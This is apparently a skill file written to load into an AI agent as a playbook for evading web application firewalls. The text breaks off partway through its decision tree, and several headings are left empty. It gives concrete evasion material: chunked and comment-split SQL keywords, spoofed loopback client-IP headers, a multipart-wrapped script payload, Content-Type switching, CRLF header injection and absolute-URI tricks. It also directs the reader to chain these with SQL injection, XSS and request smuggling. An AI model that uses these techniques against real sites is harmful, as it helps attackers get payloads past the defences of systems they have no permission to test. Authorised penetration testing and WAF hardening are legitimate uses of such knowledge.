Waf Bypass Techniques

SKILL: WAF Bypass Techniques — Evasion Playbook

AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.

0. RELATED ROUTING

• sqli-sql-injection for payloads to deliver after bypassing WAF
• xss-cross-site-scripting for XSS payloads that need WAF evasion
• request-smuggling when smuggling can route requests around WAF entirely
• http-parameter-pollution HPP is itself a WAF bypass primitive
• csp-bypass-advanced when WAF blocks inline scripts but CSP bypass is available
• ghost-bits-cast-attack Java backends only — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit char to 8-bit byte narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more

Product-Specific Reference

Load WAF_PRODUCT_MATRIX.md when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.

1. PHASE 0 — IDENTIFY THE WAF

Before bypassing, know what you're fighting.

1.1 Tools

1.2 Behavioral Fingerprinting

1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)

2. GENERIC BYPASS CATEGORIES

2.1 Encoding Bypasses

2.2 Chunked Transfer Encoding

Split the payload across HTTP chunks so no single chunk contains the blocked pattern:

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

WAFs that inspect the full body may not reassemble chunks before matching.

2.3 HTTP/2 Binary Format Bypasses

HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:

• Header names can contain characters illegal in HTTP/1.1
• Pseudo-headers (:method, :path) bypass header-based WAF rules
• H2 → H1 downgrade may introduce request smuggling (see request-smuggling)

2.4 HTTP Parameter Pollution (HPP)

Different servers handle duplicate parameters differently:

WAF checks a=1 (benign), app uses a=2 (malicious). Or combine: a=sel&a=ect → ASP.NET sees a=sel,ect.

2.5 IP Source Spoofing (Bypass IP-Based Rules)

Headers trusted by some WAFs/apps for client IP:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Use case: WAF whitelists internal IPs or has different rule sets per source.

2.6 Path Normalization Tricks

2.7 Content-Type Manipulation

WAFs often have format-specific parsers. Switching Content-Type can bypass rules:

Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
Switch:   Content-Type: application/json  → WAF may not parse JSON body
Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format

Trick: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.

2.8 Multipart Boundary Abuse

Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.

2.9 Newline & Whitespace Injection

-- SQL keyword splitting
SEL
ECT * FROM users

-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers

2.10 Keyword Splitting & Alternative Syntax

3. PROTOCOL-LEVEL BYPASS TECHNIQUES

3.1 Request Line Abuse

GET /path?q=attack HTTP/1.1    ← WAF inspects

vs.

GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path

3.2 Header Injection via CRLF

If WAF inspects original headers but app processes injected ones:

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 Connection-State Bypass

1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection

4. WAF BYPASS DECISION TREE

Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│   ├── URL encode payload → still blocked?
│   ├── Double URL encode → still blocked?
│   ├── Unicode/overlong UTF-8 → still blocked?
│   ├── Mixed case keywords → still blocked?
│   └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│   ├── Switch Content-Type (JSON, multipart, XML)